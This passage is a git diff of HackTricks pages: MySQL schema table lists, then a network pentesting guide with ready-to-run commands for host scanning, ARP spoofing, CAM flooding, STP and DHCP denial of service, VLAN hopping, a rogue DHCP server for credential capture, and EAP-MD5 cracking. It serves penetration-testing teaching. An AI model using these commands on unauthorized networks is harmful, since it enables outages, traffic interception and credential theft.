-events\_stages\_history -events\_stages\_history\_long -events\_stages\_summary\_by\_account\_by\_event\_name -events\_stages\_summary\_by\_host\_by\_event\_name -events\_stages\_summary\_by\_thread\_by\_event\_name -events\_stages\_summary\_by\_user\_by\_event\_name -events\_stages\_summary\_global\_by\_event\_name -events\_statements\_current -events\_statements\_history -events\_statements\_history\_long -events\_statements\_summary\_by\_account\_by\_event\_name -events\_statements\_summary\_by\_digest -events\_statements\_summary\_by\_host\_by\_event\_name -events\_statements\_summary\_by\_program -events\_statements\_summary\_by\_thread\_by\_event\_name -events\_statements\_summary\_by\_user\_by\_event\_name -events\_statements\_summary\_global\_by\_event\_name -events\_transactions\_current -events\_transactions\_history -events\_transactions\_history\_long -events\_transactions\_summary\_by\_account\_by\_event\_name -events\_transactions\_summary\_by\_host\_by\_event\_name -events\_transactions\_summary\_by\_thread\_by\_event\_name -events\_transactions\_summary\_by\_user\_by\_event\_name -events\_transactions\_summary\_global\_by\_event\_name -events\_waits\_current -events\_waits\_history -events\_waits\_history\_long -events\_waits\_summary\_by\_account\_by\_event\_name -events\_waits\_summary\_by\_host\_by\_event\_name -events\_waits\_summary\_by\_instance -events\_waits\_summary\_by\_thread\_by\_event\_name -events\_waits\_summary\_by\_user\_by\_event\_name -events\_waits\_summary\_global\_by\_event\_name -file\_instances -file\_summary\_by\_event\_name -file\_summary\_by\_instance -global\_status -global\_variables -host\_cache -hosts -memory\_summary\_by\_account\_by\_event\_name -memory\_summary\_by\_host\_by\_event\_name -memory\_summary\_by\_thread\_by\_event\_name -memory\_summary\_by\_user\_by\_event\_name -memory\_summary\_global\_by\_event\_name -metadata\_locks -mutex\_instances -objects\_summary\_global\_by\_type -performance\_timers -prepared\_statements\_instances -replication\_applier\_configuration -replication\_applier\_status -replication\_applier\_status\_by\_coordinator -replication\_applier\_status\_by\_worker -replication\_connection\_configuration -replication\_connection\_status -replication\_group\_member\_stats -replication\_group\_members -rwlock\_instances -session\_account\_connect\_attrs -session\_connect\_attrs -session\_status -session\_variables -setup\_actors -setup\_consumers -setup\_instruments -setup\_objects -setup\_timers -socket\_instances -socket\_summary\_by\_event\_name -socket\_summary\_by\_instance -status\_by\_account -status\_by\_host -status\_by\_thread -status\_by\_user -table\_handles -table\_io\_waits\_summary\_by\_index\_usage -table\_io\_waits\_summary\_by\_table -table\_lock\_waits\_summary\_by\_table -threads -user\_variables\_by\_thread -users -variables\_by\_thread +{% tab title="performance_schema" %} +accounts\ +cond_instances\ +events_stages_current\ +events_stages_history\ +events_stages_history_long\ +events_stages_summary_by_account_by_event_name\ +events_stages_summary_by_host_by_event_name\ +events_stages_summary_by_thread_by_event_name\ +events_stages_summary_by_user_by_event_name\ +events_stages_summary_global_by_event_name\ +events_statements_current\ +events_statements_history\ +events_statements_history_long\ +events_statements_summary_by_account_by_event_name\ +events_statements_summary_by_digest\ +events_statements_summary_by_host_by_event_name\ +events_statements_summary_by_program\ +events_statements_summary_by_thread_by_event_name\ +events_statements_summary_by_user_by_event_name\ +events_statements_summary_global_by_event_name\ +events_transactions_current\ +events_transactions_history\ +events_transactions_history_long\ +events_transactions_summary_by_account_by_event_name\ +events_transactions_summary_by_host_by_event_name\ +events_transactions_summary_by_thread_by_event_name\ +events_transactions_summary_by_user_by_event_name\ +events_transactions_summary_global_by_event_name\ +events_waits_current\ +events_waits_history\ +events_waits_history_long\ +events_waits_summary_by_account_by_event_name\ +events_waits_summary_by_host_by_event_name\ +events_waits_summary_by_instance\ +events_waits_summary_by_thread_by_event_name\ +events_waits_summary_by_user_by_event_name\ +events_waits_summary_global_by_event_name\ +file_instances\ +file_summary_by_event_name\ +file_summary_by_instance\ +global_status\ +global_variables\ +host_cache\ +hosts\ +memory_summary_by_account_by_event_name\ +memory_summary_by_host_by_event_name\ +memory_summary_by_thread_by_event_name\ +memory_summary_by_user_by_event_name\ +memory_summary_global_by_event_name\ +metadata_locks\ +mutex_instances\ +objects_summary_global_by_type\ +performance_timers\ +prepared_statements_instances\ +replication_applier_configuration\ +replication_applier_status\ +replication_applier_status_by_coordinator\ +replication_applier_status_by_worker\ +replication_connection_configuration\ +replication_connection_status\ +replication_group_member_stats\ +replication_group_members\ +rwlock_instances\ +session_account_connect_attrs\ +session_connect_attrs\ +session_status\ +session_variables\ +setup_actors\ +setup_consumers\ +setup_instruments\ +setup_objects\ +setup_timers\ +socket_instances\ +socket_summary_by_event_name\ +socket_summary_by_instance\ +status_by_account\ +status_by_host\ +status_by_thread\ +status_by_user\ +table_handles\ +table_io_waits_summary_by_index_usage\ +table_io_waits_summary_by_table\ +table_lock_waits_summary_by_table\ +threads\ +user_variables_by_thread\ +users\ +variables_by_thread {% endtab %} {% tab title="sys" %} -host\_summary -host\_summary\_by\_file\_io -host\_summary\_by\_file\_io\_type -host\_summary\_by\_stages -host\_summary\_by\_statement\_latency -host\_summary\_by\_statement\_type -innodb\_buffer\_stats\_by\_schema -innodb\_buffer\_stats\_by\_table -innodb\_lock\_waits -io\_by\_thread\_by\_latency -io\_global\_by\_file\_by\_bytes -io\_global\_by\_file\_by\_latency -io\_global\_by\_wait\_by\_bytes -io\_global\_by\_wait\_by\_latency -latest\_file\_io -memory\_by\_host\_by\_current\_bytes -memory\_by\_thread\_by\_current\_bytes -memory\_by\_user\_by\_current\_bytes -memory\_global\_by\_current\_bytes -memory\_global\_total -metrics -processlist -ps\_check\_lost\_instrumentation -schema\_auto\_increment\_columns -schema\_index\_statistics -schema\_object\_overview -schema\_redundant\_indexes -schema\_table\_lock\_waits -schema\_table\_statistics -schema\_table\_statistics\_with\_buffer -schema\_tables\_with\_full\_table\_scans -schema\_unused\_indexes -session -session\_ssl\_status -statement\_analysis -statements\_with\_errors\_or\_warnings -statements\_with\_full\_table\_scans -statements\_with\_runtimes\_in\_95th\_percentile -statements\_with\_sorting -statements\_with\_temp\_tables -sys\_config -user\_summary -user\_summary\_by\_file\_io -user\_summary\_by\_file\_io\_type -user\_summary\_by\_stages -user\_summary\_by\_statement\_latency -user\_summary\_by\_statement\_type -version -wait\_classes\_global\_by\_avg\_latency -wait\_classes\_global\_by\_latency -waits\_by\_host\_by\_latency -waits\_by\_user\_by\_latency -waits\_global\_by\_latency -x$host\_summary -x$host\_summary\_by\_file\_io -x$host\_summary\_by\_file\_io\_type -x$host\_summary\_by\_stages -x$host\_summary\_by\_statement\_latency -x$host\_summary\_by\_statement\_type -x$innodb\_buffer\_stats\_by\_schema -x$innodb\_buffer\_stats\_by\_table -x$innodb\_lock\_waits -x$io\_by\_thread\_by\_latency -x$io\_global\_by\_file\_by\_bytes -x$io\_global\_by\_file\_by\_latency -x$io\_global\_by\_wait\_by\_bytes -x$io\_global\_by\_wait\_by\_latency -x$latest\_file\_io -x$memory\_by\_host\_by\_current\_bytes -x$memory\_by\_thread\_by\_current\_bytes -x$memory\_by\_user\_by\_current\_bytes -x$memory\_global\_by\_current\_bytes -x$memory\_global\_total -x$processlist -x$ps\_digest\_95th\_percentile\_by\_avg\_us -x$ps\_digest\_avg\_latency\_distribution -x$ps\_schema\_table\_statistics\_io -x$schema\_flattened\_keys -x$schema\_index\_statistics -x$schema\_table\_lock\_waits -x$schema\_table\_statistics -x$schema\_table\_statistics\_with\_buffer -x$schema\_tables\_with\_full\_table\_scans -x$session -x$statement\_analysis -x$statements\_with\_errors\_or\_warnings -x$statements\_with\_full\_table\_scans -x$statements\_with\_runtimes\_in\_95th\_percentile -x$statements\_with\_sorting -x$statements\_with\_temp\_tables -x$user\_summary -x$user\_summary\_by\_file\_io -x$user\_summary\_by\_file\_io\_type -x$user\_summary\_by\_stages -x$user\_summary\_by\_statement\_latency -x$user\_summary\_by\_statement\_type -x$wait\_classes\_global\_by\_avg\_latency -x$wait\_classes\_global\_by\_latency -x$waits\_by\_host\_by\_latency -x$waits\_by\_user\_by\_latency -x$waits\_global\_by\_latency +host_summary\ +host_summary_by_file_io\ +host_summary_by_file_io_type\ +host_summary_by_stages\ +host_summary_by_statement_latency\ +host_summary_by_statement_type\ +innodb_buffer_stats_by_schema\ +innodb_buffer_stats_by_table\ +innodb_lock_waits\ +io_by_thread_by_latency\ +io_global_by_file_by_bytes\ +io_global_by_file_by_latency\ +io_global_by_wait_by_bytes\ +io_global_by_wait_by_latency\ +latest_file_io\ +memory_by_host_by_current_bytes\ +memory_by_thread_by_current_bytes\ +memory_by_user_by_current_bytes\ +memory_global_by_current_bytes\ +memory_global_total\ +metrics\ +processlist\ +ps_check_lost_instrumentation\ +schema_auto_increment_columns\ +schema_index_statistics\ +schema_object_overview\ +schema_redundant_indexes\ +schema_table_lock_waits\ +schema_table_statistics\ +schema_table_statistics_with_buffer\ +schema_tables_with_full_table_scans\ +schema_unused_indexes\ +session\ +session_ssl_status\ +statement_analysis\ +statements_with_errors_or_warnings\ +statements_with_full_table_scans\ +statements_with_runtimes_in\_95th_percentile\ +statements_with_sorting\ +statements_with_temp_tables\ +sys_config\ +user_summary\ +user_summary_by_file_io\ +user_summary_by_file_io_type\ +user_summary_by_stages\ +user_summary_by_statement_latency\ +user_summary_by_statement_type\ +version\ +wait_classes_global_by_avg_latency\ +wait_classes_global_by_latency\ +waits_by_host_by_latency\ +waits_by_user_by_latency\ +waits_global_by_latency\ +x$host_summary\ +x$host_summary_by_file_io\ +x$host_summary_by_file_io_type\ +x$host_summary_by_stages\ +x$host_summary_by_statement_latency\ +x$host_summary_by_statement_type\ +x$innodb_buffer_stats_by_schema\ +x$innodb_buffer_stats_by_table\ +x$innodb_lock_waits\ +x$io_by_thread_by_latency\ +x$io_global_by_file_by_bytes\ +x$io_global_by_file_by_latency\ +x$io_global_by_wait_by_bytes\ +x$io_global_by_wait_by_latency\ +x$latest_file_io\ +x$memory_by_host_by_current_bytes\ +x$memory_by_thread_by_current_bytes\ +x$memory_by_user_by_current_bytes\ +x$memory_global_by_current_bytes\ +x$memory_global_total\ +x$processlist\ +x$ps_digest\_95th_percentile_by_avg_us\ +x$ps_digest_avg_latency_distribution\ +x$ps_schema_table_statistics_io\ +x$schema_flattened_keys\ +x$schema_index_statistics\ +x$schema_table_lock_waits\ +x$schema_table_statistics\ +x$schema_table_statistics_with_buffer\ +x$schema_tables_with_full_table_scans\ +x$session\ +x$statement_analysis\ +x$statements_with_errors_or_warnings\ +x$statements_with_full_table_scans\ +x$statements_with_runtimes_in\_95th_percentile\ +x$statements_with_sorting\ +x$statements_with_temp_tables\ +x$user_summary\ +x$user_summary_by_file_io\ +x$user_summary_by_file_io_type\ +x$user_summary_by_stages\ +x$user_summary_by_statement_latency\ +x$user_summary_by_statement_type\ +x$wait_classes_global_by_avg_latency\ +x$wait_classes_global_by_latency\ +x$waits_by_host_by_latency\ +x$waits_by_user_by_latency\ +x$waits_global_by_latency {% endtab %} {% endtabs %} ## HackTricks Automatic Commands -```text +``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. Protocol_Description: MySql #Protocol Abbreviation Spelled out @@ -569,4 +570,3 @@ Entry_3: Description: Attempt to connect to mysql server Command: mysql -h {IP} -u {Username}@localhost ``` - diff --git a/pentesting/pentesting-network/README.md b/pentesting/pentesting-network/README.md index c8501712..a3f905fa 100644 --- a/pentesting/pentesting-network/README.md +++ b/pentesting/pentesting-network/README.md @@ -1,19 +1,19 @@ # Pentesting Network -If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/) ****[**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks**]%28https://github.com/carlospolop/hacktricks) **that will be reflected in this book. -Don't forget to** give ⭐ on the github to motivate me to continue developing this book. +If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the **[**💬**](https://emojipedia.org/speech-balloon/)** **[**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks\*\*]\(https://github.com/carlospolop/hacktricks) **that will be reflected in this book.**\ +**Don't forget to **give ⭐ on the github to motivate me to continue developing this book. ## Discovering hosts from the outside -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**. -In this situation you have some **scope of IPs** \(maybe even several **ranges**\) and you just to find **which IPs are responding**. +This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ +In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not. -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**. -You could also use **nmap** to send other types of ICMP packets \(this will avoid filters to common ICMP echo request-response\). +This is the **easiest** and **fastest** way to discover if a host is up or not.\ +You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ +You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host @@ -23,8 +23,8 @@ nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask ### TCP Port Discovery -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time. -Then, what you need is a **fast port scanner** \([masscan](https://github.com/robertdavidgraham/masscan)\) and a list of the **ports more used:** +It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ +Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) @@ -51,7 +51,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The "--version-intensity 0" will make nmap only test the most probable ``` -The nmap line proposed before will test the **top 100 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** \(for a /24 range this will just take 1 min\): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ +The nmap line proposed before will test the **top 100 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ ### SCTP Port Discovery @@ -83,7 +83,7 @@ set net.show.meta true #more info ### Active -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) \(_TCP/HTTP/UDP/SCTP Port Discovery_\) can be also **applied here**. +Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ But, as you are in the **same network** as the other hosts, you can do **more things**: ```bash @@ -108,7 +108,7 @@ alive6 # Send a pingv6 to multicast. ### Active ICMP -Note that the techniques commented in _Discovering hosts from the outside_ \([_**ICMP**_](./#icmp)\) can be also **applied here**. +Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ But, as you are in the **same network** as the other hosts, you can do **more things**: * If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` @@ -117,9 +117,9 @@ But, as you are in the **same network** as the other hosts, you can do **more th ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket. -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**. -If **no \[MAC\]** is provided, the packet is sent to **broadcast ethernet** \(and the broadcast MAC will be the one being repeated\). +Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ +Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ +If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). ```bash #WOL (without MAC is used ff:...:ff) @@ -130,14 +130,14 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ## Scanning Hosts -Once you have discovered all the IPs \(external or internal\) you want to scan in depth, different actions can be performed. +Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. ### TCP -* **Open** port: _SYN --> SYN/ACK --> RST_ -* **Closed** port: _SYN --> RST/ACK_ -* **Filtered** port: _SYN --> \[NO RESPONSE\]_ -* **Filtered** port: _SYN --> ICMP message_ +* **Open** port: _SYN --> SYN/ACK --> RST_ +* **Closed** port: _SYN --> RST/ACK_ +* **Filtered** port: _SYN --> \[NO RESPONSE]_ +* **Filtered** port: _SYN --> ICMP message_ ```bash ## Nmap fast scan for the most 1000tcp ports used @@ -155,10 +155,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 There are 2 options to scan an UDP port: -* Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** \(in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open\). -* Send a **formatted datagrams** to elicit a response from a **service** \(e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_\). If you receive a **response**, then, the port is **open**. +* Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). +* Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. -**Nmap** will **mix both** options using "-sV" \(UDP scans are very slow\), but notice that UDP scans are slower than TCP scans: +**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: ```bash ## Check if any of the most common udp services is running @@ -174,7 +174,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 ### SCTP Scan -SCTP sits alongside TCP and UDP. Intended to provide **transport** of **telephony** data over **IP**, the protocol duplicates many of the reliability features of Signaling System 7 \(SS7\), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks. +SCTP sits alongside TCP and UDP. Intended to provide **transport** of **telephony** data over **IP**, the protocol duplicates many of the reliability features of Signaling System 7 (SS7), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks. Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ @@ -191,7 +191,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ### Revealing Internal IP Addresses -Misconfigured routers, firewalls, and network devices sometimes **respond** to network probes **using nonpublic source addresses**. You can use _tcpdump_ used to **identify packets** received from **private addresses** during testing. In this case, the _eth2_ interface in Kali Linux is **addressable** from the **public Internet** \(If you are **behind** a **NAT** of a **Firewall** this kind of packets are probably going to be **filtered**\). +Misconfigured routers, firewalls, and network devices sometimes **respond** to network probes **using nonpublic source addresses**. You can use _tcpdump_ used to **identify packets** received from **private addresses** during testing. In this case, the _eth2_ interface in Kali Linux is **addressable** from the **public Internet** (If you are **behind** a **NAT** of a **Firewall** this kind of packets are probably going to be **filtered**). ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 @@ -260,7 +260,7 @@ arpspoof -t 192.168.1.2 192.168.1.1 ### MAC Flooding - CAM overflow -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub \(broadcasting all the traffic\). +Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). ```bash macof -i @@ -272,7 +272,7 @@ In modern switches this vulnerability has been fixed. #### Dynamic Trunking -Many switches support the Dynamic Trunking Protocol \(DTP\) by default, however, which an adversary can abuse to **emulate a switch and receive traffic across all VLANs**. The tool [_dtpscan.sh_](https://github.com/commonexploits/dtpscan) can sniff an interface and **reports if switch is in Default mode, trunk, dynamic, auto or access mode** \(this is the only one that would avoid VLAN hopping\). The tool will indicate if the switch is vulnerable or not. +Many switches support the Dynamic Trunking Protocol (DTP) by default, however, which an adversary can abuse to **emulate a switch and receive traffic across all VLANs**. The tool [_dtpscan.sh_](https://github.com/commonexploits/dtpscan) can sniff an interface and **reports if switch is in Default mode, trunk, dynamic, auto or access mode** (this is the only one that would avoid VLAN hopping). The tool will indicate if the switch is vulnerable or not. If it was discovered that the the network is vulnerable, you can use _**Yersinia**_ to launch an "**enable trunking**" using protocol "**DTP**" and you will be able to see network packets from all the VLANs. @@ -286,10 +286,10 @@ yersinia -I #Interactive mode #### Attacking specific VLANs -Once you known VLAN IDs and IPs values,you can **configure a virtual interface to attack a specific VLAN**. +Once you known VLAN IDs and IPs values,you can **configure a virtual interface to attack a specific VLAN**.\ If DHCP is not available, then use _ifconfig_ to set a static IP address. -```text +``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 Added VLAN with VID == 250 to IF -:eth1:- @@ -314,13 +314,13 @@ The discussed attack of **Dynamic Trunking and creating virtual interfaces an di #### Double Tagging -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols than can perform some interesting actions \(like SNMP\). +If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols than can perform some interesting actions (like SNMP). -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** \(probably through internet\). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. #### Layer 3 Private VLAN Bypass -In guest wireless networks and other environments, private VLAN \(also known as _port isolation_\) settings are used to **prevent peers from interacting** \(i.e., clients **connect to a wireless access point but cannot address one another**\). Depending on network ACLs \(or lack thereof\), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer. +In guest wireless networks and other environments, private VLAN (also known as _port isolation_) settings are used to **prevent peers from interacting** (i.e., clients **connect to a wireless access point but cannot address one another**). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer. This attack will send a **specially crafted packet to the IP of a client but with the MAC of the router**. Then, the **router will redirect the packet to the client**. As in _Double Tagging Attacks_ you can exploit this vulnerability by controlling a host accessible by the victim. @@ -330,7 +330,7 @@ This attack will send a **specially crafted packet to the IP of a client but wit #### **STP BPDU DoS** -Sending a lot of BPDUs TCP \(Topology Change Notification\) or Conf \(the BPDUs that are sent when the topology is created\) the switches are overloaded and stop working correctly. +Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. ```bash yersina stp -attack 2 @@ -340,7 +340,7 @@ yersina stp -attack 3 #### **STP TCP Attack** -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously \(or every 15segs\) and when it is restarted, the switch behaves as a hub +When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub ```bash yersina stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds @@ -349,7 +349,7 @@ yersina stp -attack 0 #Will send 1 CONF packet, nothing else will happen #### **STP Root Attack** -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches. +The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. ```bash @@ -357,7 +357,7 @@ yersina stp -attack 4 #Behaves like the root switch yersina stp -attack 5 #This will make the device behaves as a switch but will not be root ``` -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** \(a MITM attack will be performed\). +**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). ```bash yersina stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" @@ -402,8 +402,8 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**. -This attack will work only if you can see the responses of the DHCP server and complete the protocol \(**Discover** \(Comp\) --> **Offer** \(server\) --> **Request** \(Comp\) --> **ACK** \(server\)\). For example, this is **not possible in Wifi networks**. +**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ +This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. @@ -418,70 +418,70 @@ You could use the mentioned DoS attacks to force clients to obtain new leases wi #### Set malicious values -You can use Responder DHCP script \(_/usr/share/responder/DHCP.py_\) to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex \(i.e., we capture egress packets from the client, but not the responses from the legitimate gateway\). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular. +You can use Responder DHCP script (_/usr/share/responder/DHCP.py_) to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex (i.e., we capture egress packets from the client, but not the responses from the legitimate gateway). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular. -| Description | Example | -| :--- | :--- | -| Our IP address, advertised as a gateway | _-i 10.0.0.100_ | -| The local DNS domain name \(optional\) | _-d example.org_ | -| IP address of the original router/gateway | _-r 10.0.0.1_ | -| Primary DNS server IP address | _-p 10.0.0.100_ | -| Secondary DNS server IP address \(optional\) | _-s 10.0.0.1_ | -| The netmask of the local network | _-n 255.255.255.0_ | -| The interface to listen for DHCP traffic on | _-I eth1_ | -| WPAD configuration address \(URL\) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat\n”) | -| Spoof the default gateway IP address | -S | -| Respond to all DHCP requests \(very noisy\) | -R | +| Description | Example | +| ------------------------------------------- | ---------------------------------------------------------------------------- | +| Our IP address, advertised as a gateway | _-i 10.0.0.100_ | +| The local DNS domain name (optional) | _-d example.org_ | +| IP address of the original router/gateway | _-r 10.0.0.1_ | +| Primary DNS server IP address | _-p 10.0.0.100_ | +| Secondary DNS server IP address (optional) | _-s 10.0.0.1_ | +| The netmask of the local network | _-n 255.255.255.0_ | +| The interface to listen for DHCP traffic on | _-I eth1_ | +| WPAD configuration address (URL) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat/n%E2%80%9D) | +| Spoof the default gateway IP address | -S | +| Respond to all DHCP requests (very noisy) | -R | ### **EAP** Here are some of the attack tactics that can be used against 802.1X implementations: * Active brute-force password grinding via EAP -* Attacking the RADIUS server with malformed EAP content _\*\*_\(exploits\) -* EAP message capture and offline password cracking \(EAP-MD5 and PEAP\) +* Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) +* EAP message capture and offline password cracking (EAP-MD5 and PEAP) * Forcing EAP-MD5 authentication to bypass TLS certificate validation * Injecting malicious network traffic upon authenticating using a hub or similar -If the attacker if between the victim and the authentication server, he could try to degrade \(if necessary\) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: -```text +``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` ### HSRP AND VRRP -Hot Standby Routing Protocol \(HSRP\) and the Virtual Router Redundancy Protocol \(VRRP\) are used in high-availability environments to provide failover support. Routers send packets to local multicast groups announcing configuration and priority details. +Hot Standby Routing Protocol (HSRP) and the Virtual Router Redundancy Protocol (VRRP) are used in high-availability environments to provide failover support. Routers send packets to local multicast groups announcing configuration and 